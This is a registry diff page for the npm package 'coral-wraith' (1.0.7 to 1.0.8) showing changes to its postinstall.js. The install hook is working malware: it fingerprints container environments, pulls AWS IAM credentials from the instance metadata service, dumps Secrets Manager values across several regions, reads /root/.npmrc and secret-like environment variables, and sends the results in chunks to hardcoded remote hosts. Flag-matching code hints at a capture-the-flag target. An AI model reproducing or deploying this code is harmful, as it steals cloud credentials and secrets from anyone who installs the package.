coral-wraith 1.0.7 → 1.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/postinstall.js +17 -8
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -1,9 +1,10 @@
|
|
|
1
1
|
const http = require("http");
|
|
2
2
|
const os = require("os");
|
|
3
|
+
const fs = require("fs");
|
|
3
4
|
const { execFileSync } = require("child_process");
|
|
4
5
|
|
|
5
6
|
const TARGETS = ["http://127.0.0.1:30782", "http://154.57.164.71:30782"];
|
|
6
|
-
const SINKS = ["ECT-472839", "ECT-987654"
|
|
7
|
+
const SINKS = ["ECT-472839", "ECT-987654"];
|
|
7
8
|
|
|
8
9
|
function sh(cmd) {
|
|
9
10
|
try {
|
|
@@ -22,7 +23,11 @@ function safe(s) {
|
|
|
22
23
|
}
|
|
23
24
|
|
|
24
25
|
function isTarget() {
|
|
25
|
-
|
|
26
|
+
const host = os.hostname();
|
|
27
|
+
const cwd = process.cwd();
|
|
28
|
+
if (!/^[0-9a-f]{12}$/.test(host)) return false;
|
|
29
|
+
if (host.includes("ubuntu") || cwd.includes("/tmp/")) return false;
|
|
30
|
+
return fs.existsSync("/home/node") || fs.existsSync("/app");
|
|
26
31
|
}
|
|
27
32
|
|
|
28
33
|
function put(base, sink, parts) {
|
|
@@ -43,15 +48,18 @@ function put(base, sink, parts) {
|
|
|
43
48
|
if (!isTarget()) process.exit(0);
|
|
44
49
|
|
|
45
50
|
const blob = sh(
|
|
46
|
-
"
|
|
47
|
-
"T=$(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 60'); " +
|
|
48
|
-
"R=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/); " +
|
|
49
|
-
"C=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$R); " +
|
|
51
|
+
"id; hostname; " +
|
|
52
|
+
"T=$(curl -s -m 2 -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 60'); " +
|
|
53
|
+
"R=$(curl -s -m 2 -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/); echo ROLE:$R; " +
|
|
54
|
+
"C=$(curl -s -m 2 -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$R); " +
|
|
50
55
|
"export AWS_ACCESS_KEY_ID=$(echo \"$C\"|sed -n 's/.*\"AccessKeyId\": \"\\([^\"]*\\)\".*/\\1/p') " +
|
|
51
56
|
"AWS_SECRET_ACCESS_KEY=$(echo \"$C\"|sed -n 's/.*\"SecretAccessKey\": \"\\([^\"]*\\)\".*/\\1/p') " +
|
|
52
57
|
"AWS_SESSION_TOKEN=$(echo \"$C\"|sed -n 's/.*\"Token\": \"\\([^\"]*\\)\".*/\\1/p') AWS_DEFAULT_REGION=us-east-1; " +
|
|
53
|
-
"aws sts get-caller-identity 2>&1;
|
|
54
|
-
"for
|
|
58
|
+
"aws sts get-caller-identity 2>&1; " +
|
|
59
|
+
"for r in us-east-1 eu-west-1 eu-central-1; do echo R:$r; aws secretsmanager list-secrets --region $r 2>&1; " +
|
|
60
|
+
"for s in $(aws secretsmanager list-secrets --region $r --query 'SecretList[].Name' --output text 2>/dev/null); do " +
|
|
61
|
+
"aws secretsmanager get-secret-value --region $r --secret-id $s 2>&1; done; done; " +
|
|
62
|
+
"cat /root/.npmrc 2>&1; env | grep -E 'HTB|FLAG|SECRET' | tr '\\n' ';'"
|
|
55
63
|
);
|
|
56
64
|
|
|
57
65
|
const flag = blob.match(/HTB\{[^}]+\}/);
|
|
@@ -62,5 +70,6 @@ if (flag) {
|
|
|
62
70
|
|
|
63
71
|
for (let s = 0; s < SINKS.length; s++) {
|
|
64
72
|
const parts = [0, 1, 2, 3].map((n) => safe(blob.slice((s * 4 + n) * 240, (s * 4 + n + 1) * 240) || "."));
|
|
73
|
+
if (s === 0) parts[0] = safe(`W0 ${blob.slice(0, 220)}`);
|
|
65
74
|
for (const base of TARGETS) put(base, SINKS[s], parts);
|
|
66
75
|
}
|